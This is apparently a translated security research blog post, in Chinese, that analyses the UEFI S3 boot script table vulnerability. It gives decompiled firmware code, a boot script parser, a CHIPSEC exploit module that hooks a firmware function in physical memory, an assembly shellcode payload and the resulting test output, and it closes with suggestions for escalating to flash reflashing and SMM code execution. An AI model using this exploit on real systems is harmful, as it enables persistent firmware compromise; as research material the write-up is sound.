__int64 v35; // [bp-54h]@15
__int64 v36; // [bp-4Ch]@17
int v37; // [bp-44h]@23
int v38; // [bp-40h]@23
EFI_PEI_SMBUS2_PPI *pSmbus2;
EFI_PEI_STALL_PPI *pStall;
EFI_PEI_CPU_IO_PPI *pCpuIo;
EFI_PEI_PCI_CFG_PPI *pPciCfg;
EFI_PEI_PCI_CFG_PPI *pPciCfg_;
EFI_PEI_PCI_CFG_PPI *pPciCfg__;
InstructionPtr = Address;
v49 = 0;
if (FvFile)
return 0x80000003u;
if (!Address)
return 0x80000002u;
pCpuIo = (EFI_PEI_CPU_IO_PPI *)(*ppPeiServices)->CpuIo;
pPciCfg = (EFI_PEI_PCI_CFG_PPI *)(*ppPeiServices)->PciCfg;
if ((*ppPeiServices)->LocatePpi(ppPeiServices, &gEfiPeiSmbus2PpiGuid, 0, 0, &pSmbus2) & 0x80000000 ||
(*ppPeiServices)->LocatePpi(ppPeiServices, &gEfiPeiStallPpiGuid, 0, 0, &pStall) & 0x80000000)
goto LABEL_97;
while (1)
{
LABEL_7:
InstructionPtr += 8;
Opcode = *(unsigned char *)InstructionPtr;
if (Opcode <= 128)
{
if (Opcode != 128)
{
switch (Opcode)
{
case 0:
// EFI_BOOT_SCRIPT_IO_WRITE_OPCODE
ParseInstruction(&v32, (const void *)InstructionPtr, 0x10u);
v7 = InstructionPtr + 16;
v8 = v7;
if ((unsigned __int8)(BYTE1(v32) & 0xFC) == 4)
v9 = 1;
else
v9 = v34;
InstructionPtr = v9 * (unsigned __int8)(1 << (BYTE1(v32) & 3)) + v7;
pCpuIo->IoRead16(ppPeiServices, pCpuIo, BYTE1(v32), HIWORD(v32), 0, v34, v8);
continue;
case 1:
// EFI_BOOT_SCRIPT_IO_READ_WRITE_OPCODE
ParseInstruction(&v32, (const void *)InstructionPtr, 0x18u);
v10 = BYTE1(v32) & 3;
InstructionPtr += 24;
pCpuIo->IoRead8(ppPeiServices, pCpuIo, BYTE1(v32) & 3, HIWORD(v32), 0, 1, &v42);
v42 = v34 | v42 & v35;
pCpuIo->IoRead16(ppPeiServices, pCpuIo, v10, HIWORD(v32), 0, 1, &v42);
continue;
case 13:
// vendor-specific opcode?
ParseInstruction(&v32, (const void *)InstructionPtr, 0x20u);
InstructionPtr += 32;
LODWORD(v11) = sub_FFBB5DE3(v36, HIDWORD(v36), 10, 0);
v41 = v11 + 1;
v49 = 1;
goto LABEL_78;
case 2:
// EFI_BOOT_SCRIPT_MEM_WRITE_OPCODE
ParseInstruction(&v32, (const void *)InstructionPtr, 0x18u);
v12 = InstructionPtr + 24;
if ((unsigned __int8)(BYTE1(v32) & 0xFC) == 4)
v13 = 1;
else
v13 = v35;
v14 = v12;
InstructionPtr = v13 * (unsigned __int8)(1 << (BYTE1(v32) & 3)) + v12;
pCpuIo->Io(ppPeiServices, pCpuIo, BYTE1(v32), v34, HIDWORD(v34), v35, v14);
continue;
case 3:
// EFI_BOOT_SCRIPT_MEM_READ_WRITE_OPCODE
ParseInstruction(&v32, (const void *)InstructionPtr, 0x20u);
v15 = BYTE1(v32) & 3;
InstructionPtr += 32;
pCpuIo->Mem(ppPeiServices, pCpuIo, BYTE1(v32) & 3, v34, HIDWORD(v34), 1, &v42);
v42 = v35 | v42 & v36;
pCpuIo->Io(ppPeiServices, pCpuIo, v15, v34, HIDWORD(v34), 1, &v42);
continue;
case 14:
// vendor-specific opcode?
ParseInstruction(&v32, (const void *)InstructionPtr, 0x28u);
InstructionPtr += 40;
LODWORD(v16) = sub_FFBB5DE3(v37, v38, 10, 0);
v41 = v16 + 1;
v49 = 1;
goto LABEL_90;
case 11:
// EFI_BOOT_SCRIPT_PCI_CONFIG2_WRITE_OPCODE
ParseInstruction(&v32, (const void *)InstructionPtr, 0x20u);
InstructionPtr += 32;
if (v36)
pPciCfg = (EFI_PEI_PCI_CFG_PPI *)sub_FFBB557D(ppPeiServices, v36);
if (!pPciCfg)
goto LABEL_97;
v49 = 1;
goto LABEL_28;
case 4:
LABEL_28:
// EFI_BOOT_SCRIPT_PCI_CONFIG_WRITE_OPCODE
if (!v49)
{
ParseInstruction(&v32, (const void *)InstructionPtr, 0x18u);
InstructionPtr += 24;
}
v44 = BYTE1(v32) & 3;
v17 = __PAIR__(BYTE1(v32), (unsigned int)v35) & 0xFFFFFFFCFFFFFFFF;
LOBYTE(v45) = 1 << (BYTE1(v32) & 3);
v40 = v35;
v48 = InstructionPtr;
if ((unsigned __int8)(BYTE1(v32) & 0xFC) == 4)
LODWORD(v17) = 1;
v46 = 0;
v18 = v17 * (unsigned __int8)(1 << (BYTE1(v32) & 3));
InstructionPtr += v18;
if (!v35)
goto LABEL_41;
break;
case 12:
// EFI_BOOT_SCRIPT_PCI_CONFIG2_READ_WRITE_OPCODE
ParseInstruction(&v32, (const void *)InstructionPtr, 0x28u);
InstructionPtr += 40;
if (v37)
{
pPciCfg_ = sub_FFBB557D(ppPeiServices, v37);
pPciCfg = pPciCfg_;
}
else
{
pPciCfg_ = pPciCfg;
}
if (!pPciCfg_)
goto LABEL_97;
v49 = 1;
goto LABEL_50;
case 5:
// EFI_BOOT_SCRIPT_PCI_CONFIG_READ_WRITE_OPCODE
pPciCfg_ = pPciCfg;
LABEL_50:
if (!v49)
{
ParseInstruction(&v32, (const void *)InstructionPtr, 0x20u);
InstructionPtr += 32;
}
v23 = BYTE1(v32) & 3;
pPciCfg_->Read(ppPeiServices, pPciCfg_, BYTE1(v32) & 3, v34, HIDWORD(v34), &v42);
v42 = v35 | v42 & v36;
pPciCfg_->Write(ppPeiServices, pPciCfg_, v23, v34, HIDWORD(v34), &v42);
if (!v49)
continue;
pPeiServices = *ppPeiServices;
goto LABEL_43;
case 16:
// unknown vendor-specific opcode?
ParseInstruction(&v32, (const void *)InstructionPtr, 0x30u);
InstructionPtr += 48;
if (v39)
pPciCfg = (EFI_PEI_PCI_CFG_PPI *)sub_FFBB557D(ppPeiServices, v39);
if (!pPciCfg)
goto LABEL_97;
v49 = 1;
goto LABEL_58;
case 15:
LABEL_58:
// unknown vendor-specific opcode?
if (!v49)
{
ParseInstruction(&v32, (const void *)InstructionPtr, 0x28u);
InstructionPtr += 40;
v49 = 1;
}
LODWORD(v24) = sub_FFBB5DE3(v37, v38, 10, 0);
v41 = v24 + 1;
goto LABEL_61;
case 6:
// EFI_BOOT_SCRIPT_SMBUS_EXECUTE_OPCODE
ParseInstruction(&v32, (const void *)InstructionPtr, 0x17u);
v26 = InstructionPtr + 23;
InstructionPtr += *(_DWORD *)((char *)&v34 + 7) + 23;
pSmbus2->Execute(
pSmbus2, *(unsigned int *)((char *)&v32 + 2), v33,
*(_DWORD *)((char *)&v34 + 2), *(_DWORD *)((char *)&v34 + 6),
(char *)&v34 + 7, v26
);
continue;
case 7:
// EFI_BOOT_SCRIPT_STALL_OPCODE
ParseInstruction(&v32, (const void *)InstructionPtr, 0x10u);
InstructionPtr += 16;
pStall->Stall(ppPeiServices, pStall, v34);
continue;
case 8:
// EFI_BOOT_SCRIPT_DISPATCH_OPCODE
ParseInstruction(&v32, (const void *)InstructionPtr, 0x10u);
InstructionPtr += 16;
goto LABEL_73;
case 9:
// EFI_BOOT_SCRIPT_MEM_POLL_OPCODE
ParseInstruction(&v32, (const void *)InstructionPtr, 0x18u);
InstructionPtr += 24;
LABEL_73:
((void (__cdecl *)(_DWORD, PVOID *))v34)(0, ppPeiServices);
continue;
case 10:
// EFI_BOOT_SCRIPT_INFORMATION_OPCODE
InstructionPtr += 16;
continue;
default:
goto LABEL_97;
}
while (1)
{
pPciCfg->Write(ppPeiServices, pPciCfg, v44, v34, HIDWORD(v34), v48);
if (!HIDWORD(v17))
break;
if (HIDWORD(v17) == 4)
{
v48 += v18;
}
else
{
if (HIDWORD(v17) == 8)
goto LABEL_39;
}
LABEL_40:
++v46;
if (v46 >= v40)
{
LABEL_41:
if (v49)
{
pPeiServices = *ppPeiServices;
goto LABEL_43;
}
goto LABEL_7;
}
}
v48 += v18;
LABEL_39:
LODWORD(v19) = sub_FFBB5560(v34, HIDWORD(v34), v45);
v34 = v19;
goto LABEL_40;
}
if (!v49)
{
ParseInstruction(&v32, (const void *)InstructionPtr, 0x18u);
InstructionPtr += 24;
}
LABEL_78:
v27 = BYTE1(v32) & 3;
do
{
pCpuIo->IoRead8(ppPeiServices, pCpuIo, v27, HIWORD(v32), 0, 1, &v42);
v42 &= v34;
if (v49)
{
pStall->Stall(ppPeiServices, pStall, 1);
v25 = __CFADD__((_DWORD)v41, -1);
LODWORD(v41) = v41 - 1;
HIDWORD(v41) = v25 + HIDWORD(v41) - 1;
if (!v41)
v42 = v35;
}
}
while (v42 != v35);
LABEL_95:
v49 = 0;
continue;
}
v28 = Opcode - 0x81;
if (!v28)
{
if (!v49)
{
ParseInstruction(&v32, (const void *)InstructionPtr, 0x20u);
InstructionPtr += 32;
}
LABEL_90:
v31 = BYTE1(v32) & 3;
do
{
pCpuIo->Mem(ppPeiServices, pCpuIo, v31, v34, HIDWORD(v34), 1, &v42);
v42 &= v35;
if (v49)
{
pStall->Stall(ppPeiServices, pStall, 1);
v25 = __CFADD__((_DWORD)v41, -1);
LODWORD(v41) = v41 - 1;
HIDWORD(v41) = v25 + HIDWORD(v41) - 1;
if (!v41)
v42 = v36;
}
}
while (v42 != v36);
goto LABEL_95;
}
v29 = v28 - 1;
if (v29)
break;
LABEL_61:
if (!v49)
{
ParseInstruction(&v32, (const void *)InstructionPtr, 0x20u);
InstructionPtr += 32;
}
v44 = BYTE1(v32) & 3;
do
{
pPciCfg->Read(ppPeiServices, pPciCfg, v44, v34, HIDWORD(v34), &v42);
v42 &= v35;
if (v49)
{
pStall->Stall(ppPeiServices, pStall, 1);
v25 = __CFADD__((_DWORD)v41, -1);
LODWORD(v41) = v41 - 1;
HIDWORD(v41) = v25 + HIDWORD(v41) - 1;
if (!v41)
v42 = v36;
}
}
while (v42 != v36);
if (v49)
{
pPeiServices = *ppPeiServices;
LABEL_43:
pPciCfg__ = (EFI_PEI_PCI_CFG_PPI *)*((_DWORD *)pPeiServices + 25);
v49 = 0;
pPciCfg = pPciCfg__;
}
}
v30 = v29 - 1;
if (!v30)
{
InstructionPtr += *(_DWORD *)(InstructionPtr + 4) + 8;
goto LABEL_7;
}
if (v30 == 0x7C)
{
result = 0;
}
else
{
LABEL_97:
result = 0x80000003u;
}
return result;
}
现在我们可以从上面的代码中恢复引导脚本表格式的其余部分,并编写一个能够处理EFI_BOOT_SCRIPT_MEM_WRITE_OPCODE
,EFI_BOOT_SCRIPT_PCI_CONFIG_WRITE_OPCODE
,EFI_BOOT_SCRIPT_IO_WRITE_OPCODE
和EFI_BOOT_SCRIPT_DISPATCH_OPCODE
的基本解析器,这足以解码最有趣的boot script表项了:
from struct import pack, unpack
def _at(data, off, size, fmt): return unpack(fmt, data[off : off + size])[0]
# helper functions for accessing binary structures data
def byte_at(data, off = 0): return _at(data, off, 1, 'B')
def word_at(data, off = 0): return _at(data, off, 2, 'H')
def dword_at(data, off = 0): return _at(data, off, 4, 'I')
def qword_at(data, off = 0): return _at(data, off, 8, 'Q')
class BootScriptParser(object):
def __init__(self, quiet = False):
self.quiet = quiet
def value_at(self, data, off, width):
# read boot script value of given type
if width == self.EfiBootScriptWidthUint8: return byte_at(data, off)
elif width == self.EfiBootScriptWidthUint16: return word_at(data, off)
elif width == self.EfiBootScriptWidthUint32: return dword_at(data, off)
elif width == self.EfiBootScriptWidthUint64: return qword_at(data, off)
else: raise Exception('Invalid width 0x%x' % width)
def width_size(self, width):
# get actual size of the boot script value by size id
if width == self.EfiBootScriptWidthUint8: return 1
elif width == self.EfiBootScriptWidthUint16: return 2
elif width == self.EfiBootScriptWidthUint32: return 4
elif width == self.EfiBootScriptWidthUint64: return 8
else: raise Exception('Invalid width 0x%x' % width)
def log(self, data):
if not self.quiet: print data
def process_mem_write(self, width, addr, count, val):
self.log(('Width: %s, Addr: 0x%.16x, Count: %d\n' + \
'Value: %s\n') % \
(self.boot_script_width[width], addr, count, \
', '.join(map(lambda v: hex(v), val))))
def process_pci_config_write(self, width, bus, dev, fun, off, count, val):
self.log(('Width: %s, Count: %d\n' + \
'Bus: 0x%.2x, Device: 0x%.2x, Function: 0x%.2x, Offset: 0x%.2x\n' + \
'Value: %s\n') % \
(self.boot_script_width[width], count, bus, dev, fun, off, \
', '.join(map(lambda v: hex(v), val))))
def process_io_write(self, width, port, count, val):
self.log(('Width: %s, Port: 0x%.4x, Count: %d\n' + \
'Value: %s\n') % \
(self.boot_script_width[width], port, count, \
', '.join(map(lambda v: hex(v), val))))
def process_dispatch(self, addr):
self.log('Call addr: 0x%.16x' % (addr) + '\n')
def read_values(self, data, width, count):
values = []
for i in range(0, count):
# read single value of given width
values.append(self.value_at(data, i * self.width_size(width), width))
return values
def parse(self, data, boot_script_addr = 0L):
ptr = 0
while data:
# read 引导脚本表 entry header
num, size, op = unpack('IIB', data[:9])
# check for the end of the table
if op == 0xff:
self.log('# End of the boot script at offset 0x%x' % ptr)
break
elif op >= len(self.boot_script_ops):
raise Exception('Invalid op 0x%x' % op)
self.log('#%d len=%d %s' % (num, size, self.boot_script_ops[op]))
# process known opcodes
if op == self.EFI_BOOT_SCRIPT_MEM_WRITE_OPCODE:
# get value information
width, count = byte_at(data, 9), qword_at(data, 24)
# get write adderss
addr = qword_at(data, 16)
# get values list
values = self.read_values(data[32:], width, count)
self.process_mem_write(width, addr, count, values)
elif op == self.EFI_BOOT_SCRIPT_PCI_CONFIG_WRITE_OPCODE:
# get value information
width, count = byte_at(data, 9), qword_at(data, 24)
# get write adderss
addr = qword_at(data, 16)
# get PCI device address
bus, dev, fun, off = (addr >> 24) & 0xff, (addr >> 16) & 0xff, \
(addr >> 8) & 0xff, (addr >> 0) & 0xff
# get values list
values = self.read_values(data[32:], width, count)
self.process_pci_config_write(width, bus, dev, fun, off, count, values)
elif op == self.EFI_BOOT_SCRIPT_IO_WRITE_OPCODE:
# get value information
width, count = byte_at(data, 9), qword_at(data, 16)
# get I/O port number
port = word_at(data, 10)
# get values list
values = self.read_values(data[24:], width, count)
self.process_io_write(width, port, count, values)
elif op == self.EFI_BOOT_SCRIPT_DISPATCH_OPCODE:
# get call address
addr = qword_at(data, 16)
self.process_dispatch(addr)
else:
# skip unknown instruction
pass
# go to the next instruction
data = data[size:]
ptr += size
EFI_BOOT_SCRIPT_IO_WRITE_OPCODE = 0x00
EFI_BOOT_SCRIPT_IO_READ_WRITE_OPCODE = 0x01
EFI_BOOT_SCRIPT_MEM_WRITE_OPCODE = 0x02
EFI_BOOT_SCRIPT_MEM_READ_WRITE_OPCODE = 0x03
EFI_BOOT_SCRIPT_PCI_CONFIG_WRITE_OPCODE = 0x04
EFI_BOOT_SCRIPT_PCI_CONFIG_READ_WRITE_OPCODE = 0x05
EFI_BOOT_SCRIPT_SMBUS_EXECUTE_OPCODE = 0x06
EFI_BOOT_SCRIPT_STALL_OPCODE = 0x07
EFI_BOOT_SCRIPT_DISPATCH_OPCODE = 0x08
boot_script_ops = [
'IO_WRITE',
'IO_READ_WRITE',
'MEM_WRITE',
'MEM_READ_WRITE',
'PCI_CONFIG_WRITE',
'PCI_CONFIG_READ_WRITE',
'SMBUS_EXECUTE',
'STALL',
'DISPATCH' ]
EfiBootScriptWidthUint8 = 0
EfiBootScriptWidthUint16 = 1
EfiBootScriptWidthUint32 = 2
EfiBootScriptWidthUint64 = 3
EfiBootScriptWidthFifoUint8 = 4
EfiBootScriptWidthFifoUint16 = 5
EfiBootScriptWidthFifoUint32 = 6
EfiBootScriptWidthFifoUint64 = 7
EfiBootScriptWidthFillUint8 = 8
EfiBootScriptWidthFillUint16 = 9
EfiBootScriptWidthFillUint32 = 10
EfiBootScriptWidthFillUint64 = 11
boot_script_width = [
'Uint8',
'Uint16',
'Uint32',
'Uint64',
'FifoUint8',
'FifoUint16',
'FifoUint32',
'FifoUint64',
'FillUint8',
'FillUint16',
'FillUint32',
'FillUint64' ]
漏洞利用
转储的引导脚本表有大约1000个条目,下面是一些从表头开始的文本转储数据:
UEFI boot script addr = 0xd5f4c018
#0 len=33 MEM_WRITE
Width: Uint8, Addr: 0x00000000fec00000, Count: 1
Value: 0x0
#1 len=36 MEM_WRITE
Width: Uint32, Addr: 0x00000000fec00004, Count: 1
Value: 0x8000000
#2 len=33 MEM_WRITE
Width: Uint8, Addr: 0x00000000fec00000, Count: 1
Value: 0x10
#3 len=36 MEM_WRITE
Width: Uint32, Addr: 0x00000000fec00004, Count: 1
Value: 0x700
#4 len=36 MEM_WRITE
Width: Uint32, Addr: 0x00000000fed1f404, Count: 1
Value: 0x80
#5 len=40 MEM_READ_WRITE
000000ae: 05 00 00 00 28 00 00 00 03 02 00 00 00 00 00 00 | ................
000000be: 14 90 d1 fe 00 00 00 00 00 00 00 00 00 00 00 00 | ................
000000ce: 01 00 00 00 00 00 00 00 | ........
#6 len=40 MEM_READ_WRITE
000000d6: 06 00 00 00 28 00 00 00 03 00 00 00 00 00 00 00 | ................
000000e6: 04 90 d1 fe 00 00 00 00 01 00 00 00 00 00 00 00 | ................
000000f6: f8 00 00 00 00 00 00 00 | ........
#7 len=40 MEM_READ_WRITE
000000fe: 07 00 00 00 28 00 00 00 03 02 00 00 00 00 00 00 | ................
0000010e: 20 90 d1 fe 00 00 00 00 02 00 00 01 00 00 00 00 | ................
0000011e: 01 ff ff f8 00 00 00 00 | ........
#8 len=40 MEM_READ_WRITE
00000126: 08 00 00 00 28 00 00 00 03 02 00 00 00 00 00 00 | ................
00000136: 20 90 d1 fe 00 00 00 00 00 00 00 80 00 00 00 00 | ................
00000146: ff ff ff ff 00 00 00 00 | ........
#9 len=24 DISPATCH
Call addr: 0x00000000d5ddf260
... around 1000 of other boot script table entries that was skipped,
完整的转储数据在这。
如你所见,该表有一个EFI_BOOT_SCRIPT_DISPATCH_OPCODE
条目(#9),用于在0xd5ddf260
地址上调用固件函数。该攻击的原始描述为假设将恶意的EFI_BOOT_SCRIPT_DISPATCH_OPCODE
项插入到表中,但在实践中,当攻击者需要处理来自不同制造商的许多不同固件版本时,最好避免修改引导脚本表,hook原始引导脚本调用的固件函数的机器码。 让我们来用Python和CHIPSCE(英特尔的平台安全评估框架)编写PoC,CHIPSCE的一些官方描述:
CHIPSEC是一个分析PC平台(包括硬件)安全性的框架,系统固件包括BIOS/UEFI,平台组件配置。它允许为各种低级组件和接口创建安全测试套件、安全评估工具,以及固件的取证功能。 CHIPSEC可以在以下任何环境中运行:
- Windows (client and server)
- Linux
- UEFI Shell
CHIPSEC已经有了一套出色的示例,它们涵盖了几乎所有已知的针对SMM、安全引导、BIOS更新、flash写保护等的攻击。因此,我决定将引导脚本表漏洞PoC实现为CHIPSEC模块,主要是为了将一整套BIOS漏洞作为一个工具。当然,也可以用C实现这个漏洞利用,作为独立的Linux内核模块、Windows驱动程序或其他你喜欢的东西。 新模块可以用template来创建:
$ cd chipsec/source/tool/chipsec/modules
$ cp module_template.py boot_script_table.py && vim boot_script_table.py
模块框架示例:
from chipsec.module_common import *
# import required API
from chipsec.hal.uefi import *
from chipsec.hal.physmem import *
_MODULE_NAME = 'boot_script_table'
class boot_script_table(BaseModule):
def exploit(self):
#
# Main exploit code.
# Possible return values:
# - ModuleResult.FAILED - vulnerable
# - ModuleResult.PASSED - not vulnerable
# - ModuleResult.ERROR - exploitation error
#
# ...
#
def is_supported(self):
# TODO: check for supported hardware and/or OS
return True
# --------------------------------------------------------------------------
# run(module_argv)
# Required function: run here all tests from this module
# --------------------------------------------------------------------------
def run(self, module_argv):
return self.exploit()
首先我们需要获取一个引导脚本表的内容:
EFI_VAR_NAME = 'AcpiGlobalVariable'
EFI_VAR_GUID = 'af9ffd67-ec10-488a-9dfc-6cbf5ee22c2e'
def _efi_read_u32(self, name, guid):
return dword_at(self._uefi.get_EFI_variable(name, guid, None))
def _mem_read(self, addr, size):
# 定义读取的内存对齐为1000h
read_addr = addr & 0xfffffffffffff000
read_size = size + addr - read_addr
data = self._memory.read_physical_mem(read_addr, read_size)
return data[addr - read_addr :]
# 读取ACPI全局变量结构体数据
AcpiGlobalVariable = self._efi_read_u32(self.EFI_VAR_NAME, self.EFI_VAR_GUID)
# 获取引导脚本表地址
data = self._mem_read(AcpiGlobalVariable, 0x20)
boot_script_addr = dword_at(data, 0x18)
# 读取引导脚本内容
boot_script = self._mem_read(boot_script_addr, 0x8000)
现在,让我们从EFI_BOOT_SCRIPT_DISPATCH_OPCODE
表项的第一个函数地址来 使用BootScriptParser类的修改版本 :
class CustomBootScriptParser(BootScriptParser):
class AddressFound(Exception):
def __init__(self, addr):
self.addr = addr
def process_dispatch(self, addr):
# 将调度指令操作数(函数地址)传递给调用者
raise self.AddressFound(addr)
def parse(self, data, boot_script_addr = 0L):
try:
BootScriptParser.parse(self, data, \
boot_script_addr = boot_script_addr)
except self.AddressFound as e:
return e.addr
# 引导脚本没有任何调度指令
return None
# 解析引导脚本并获取要hoot的原函数地址
func_addr = self.CustomBootScriptParser(quiet = True).parse(boot_script)
现在我们需要实现机器码钩子(一种经典的拼接方法),让我们把 capstone engine 作为反汇编库。此外,该函数在可执行文件的代码尾部定位未使用的空间,用来存放漏洞利用payload和原始函数指令:
JUMP_32_LEN = 5
JUMP_64_LEN = 14
def _mem_write(self, addr, data):
self._memory.write_physical_mem(addr, len(data), data)
def _disasm(self, data):
import capstone
# 获取指令长度和助记符
dis = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_32)
for insn in dis.disasm(data, len(data)):
return insn.mnemonic + ' ' + insn.op_str, insn.size
def _jump_32(self, src, dst):
print 'Jump from 0x%x to 0x%x' % (src, dst)
addr = pack('I', (dst - src - self.JUMP_32_LEN) & 0xffffffff)
return '\xe9' + addr
def _find_zero_bytes(self, addr, size):
# 在代码页的末尾查找0字节
addr = (addr & 0xfffff000) + 0x1000
while True:
if self._mem_read(addr - size, size) == '\0' * size:
addr -= size
break
addr += 0x1000
return addr
def _hook(self, addr, payload):
if self._mem_read(addr, 1) == '\xe9':
print 'ERROR: Already patched'
return None
hook_size = 0
# 读取0x40字节的函数代码
data = self._mem_read(addr, 0x40)
# 反汇编第一个指令以确定补丁长度
while hook_size < self.JUMP_32_LEN:
mnem, size = self._disasm(data[hook_size:])
hook_size += size
print '%d bytes to patch' % hook_size
# 备份将被补丁替换的原始指令
data = data[:hook_size]
# 为payload,原始指令和跳转找到0内存
buff_size = len(payload) + hook_size + self.JUMP_32_LEN
buff_addr = self._find_zero_bytes(addr, buff_size)
print 'Found %d zero bytes at 0x%x' % (buff_size, buff_addr)
# 写入payload + 原始指令 + 跳转回hook的函数
buff = payload + data + \
self._jump_32(buff_addr + len(payload) + hook_size, \
addr + hook_size)
self._mem_write(buff_addr, buff)
# 从payload的函数写入32-bit的跳转地址
self._mem_write(addr, self._jump_32(addr, buff_addr))
return buff_addr, buff_size, data
# 编译payload的汇编代码
payload = Asm().compile(PAYLOAD)
# 设置UEFI函数钩子来执行我们的payload
payload_addr, payload_size, old_instructions = self._hook(dispatch_addr, payload)
现在,完成了代码劫持后,让我们来编写通过简单的Python装饰器来使用nasm进行编译的payload。payload在执行过程中会收集关于SMM和flash保护的基本信息,这些信息将在稍后进行分析:
[bits 32]
push eax ; 保存寄存器状态
push edx
push esi
call _label ; 跳转到payload主代码
db 0ffh
dd 0 ; Shellcode 调用计数器.
db 0 ; 存放BIOS_CNTL值的数据区。
dd 0 ; 存储TSEGMB 值的数据区。
_label:
pop esi ; 获取shellcode数据区的地址
inc esi
inc dword [esi] ; Shellcode 调用计数器+1
cmp byte [esi], 1 ; 退出payload(如果它已被调用)
jne _end
mov eax, 0x8000f8dc ; 可以通过PCI配置空间访问BIOS_CNTL寄存器:
mov dx, 0xcf8 ; bus = 0, dev = 0x1f, func = 0, offset = 0xdc.
out dx, eax ; 设置PCI读取地址
mov dx, 0xcfc
in al, dx ; 读取BIOS_CNTL 值.
mov byte [esi + 4], al ; 将 BIOS_CNTL 值保存在payload数据区
mov eax, 0x800000b8 ;TSEGMB 也可以通过PCI配置空间访问:
mov dx, 0xcf8 ; bus = 0, dev = 0, func = 0, offset = 0xb8.
out dx, eax ; Set up PCI read address.
mov dx, 0xcfc
in eax, dx ; 读取TSEGMB 值.
mov dword [esi + 5], eax ; 将 TSEGMB 值保存在payload数据区
_end:
pop esi ; 恢复寄存器状态
pop edx
pop eax
;
; 下面是钩子函数和32-bit跳转到function_addr + patch_len的原指令
;
现在我们可以使用rtcwake command line utility(在大多数现代Linux系统上都是预装了的)来触发payload执行。当Payload执行时,我们需要从内存中读取它的数据区,并提取记录的BIOS_CNTL 和TSEGMB 寄存器值:
# 定位payload数据区 (9个0字节)
data_offset = payload.find('\xff' + '\0' * (4 + 1 + 4))
# 从物理内存读取 payload 数据区内容
data = self._mem_read(payload_addr + data_offset + 1, 4 + 1 + 4)
# 解析二进制结构
count, BIOS_CNTL, TSEGMB = unpack('=IBI', data)
if count == 0:
print 'ERROR: shellcode was not executed during S3 resume'
return ModuleResult.ERROR
根据原文,在执行引导脚本时,BIOS_CNTL的BLE位都没有设置,TSEGMB的lock位也没有设置。让我们用得到的值来实现这些检查:
# 在给定的位置获取字节
bitval = lambda val, b: 0L if val & (1L << b) == 0 else 1L
success = True
# 检查flash访问是否被BIOS_CNTL的bios lock enable位锁定
if bitval(BIOS_CNTL, 1) == 0:
print '[!] Bios lock enable bit is not set'
success = False
# 检查通过DMA访问SMRAM是否被TSEGMB lock位锁定
if TSEGMB & 1 == 0:
print '[!] SMRAM is not locked'
success = False
return ModuleResult.PASSED if success else ModuleResult.FAILED
显然,最好在shellcode执行期间更充分地检查平台状态,BIOS和SMM还有许多其他的安全特性,不仅仅是这两个方面。为了获取市场上所有主板中可用的SPI flash的完整pwnage,我们需要击败除了BLE位的另一层保护:SPI保护区域。不幸的是,目前我在读取主板上的SPIBAR内容时遇到了问题,这需要从CHIPSEC获取 SPI保护区域的 信息,适用的模块和功能此时也挂起了整个系统。从我知道的其他来源来看,在我的主板上,SPI保护区域应该在引导脚本执行之前就被正确配置过了(也就是flash是安全的),但在解决了上述技术难题后,我仍然计划在我的模块中添加保护区域的检测功能。SPIBAR访问问题也很有可能与主板的双芯片配置有关(我只见过几次这样的主板)。
使用引导脚本表PoC模块启动CHIPSEC,在我的测试系统中输出如下:
# python chipsec_main.py --module boot_script_table
[helper] Loaded OS helper: chipsec.helper.linux.helper
################################################################
## ##
## CHIPSEC: Platform Hardware Security Assessment Framework ##
## ##
################################################################
Version 1.1.3
****** Chipsec Linux Kernel module is licensed under GPL 2.0
[*] loading platform config from '/root/chipsec/source/tool/chipsec/cfg/common.xml'..
[*] loading platform config from '/root/chipsec/source/tool/chipsec/cfg/avn.xml'..
OS : Linux 3.2.60 #23 SMP Sun Jan 4 03:02:06 EST 2015 x86_64
Platform: Desktop 2nd Generation Core Processor (Sandy Bridge CPU / Cougar Point PCH)
VID: 8086
DID: 0100
CHIPSEC : 1.1.3
[+] loaded chipsec.modules.boot_script_table
[*] running loaded modules ..
[*] running module: chipsec.modules.boot_script_table
[*] Module path: /root/chipsec/source/tool/chipsec/modules/boot_script_table.py
[x][ =======================================================================
[x][ Module: UEFI boot script table vulnerability exploit
[x][ =======================================================================
[*] AcpiGlobalVariable = 0xd5f53f18
[*] UEFI boot script addr = 0xd5f4c018
[*] Target function addr = 0xd5ddf260
8 bytes to patch
Found 79 zero bytes at 0xd5deafb1
Jump from 0xd5deaffb to 0xd5ddf268
Jump from 0xd5ddf260 to 0xd5deafb1
Going to S3 sleep for 10 seconds ...
rtcwake: wakeup from "mem" using /dev/rtc0 at Mon Feb 2 08:07:07 2015
[*] BIOS_CNTL = 0x28
[*] TSEGMB = 0xd7000000
[!] Bios lock enable bit is not set
[!] SMRAM is not locked
[!] Your system is VULNERABLE
[CHIPSEC] *************************** SUMMARY ***************************
[CHIPSEC] Time elapsed 15.136
[CHIPSEC] Modules total 1
[CHIPSEC] Modules failed to run 0:
[CHIPSEC] Modules passed 0:
[CHIPSEC] Modules failed 1:
[-] FAILED: chipsec.modules.boot_script_table
[CHIPSEC] Modules with warnings 0:
[CHIPSEC] Modules skipped 0:
[CHIPSEC] *****************************************************************
[CHIPSEC] Version: 1.1.3
完整的利用脚本源码在GitHub。 为了从漏洞利用中获取一些有利的东西,可以做下面这些事情:
- 如果BLE没有设置,平台固件没有使用SPI保护区域或者它们还没有被配置,攻击者可以运行shellcode并将被感染的固件写入flash中
- 如果BLE没有设置,但在引导脚本表执行时正确地配置了SPI保护区域,shellcode仍然可以用UEFI变量做很多坏事,例如,禁用安全引导或触发其他固件漏洞。
- 如果TSEGMB没有被锁定,shellcode可以用一个随机/错误的地址锁定它,之后攻击者可以 通过DMA 使用DMA缓冲劫持技术获取对SMRAM的读写访问,并在SMM中运行任意代码(我认为这可能是我进一步研究的一个很好的方向)。Rafal Wojtczuk的“Subverting the Xen hypervisor”演讲中描述了这种技术。
近期评论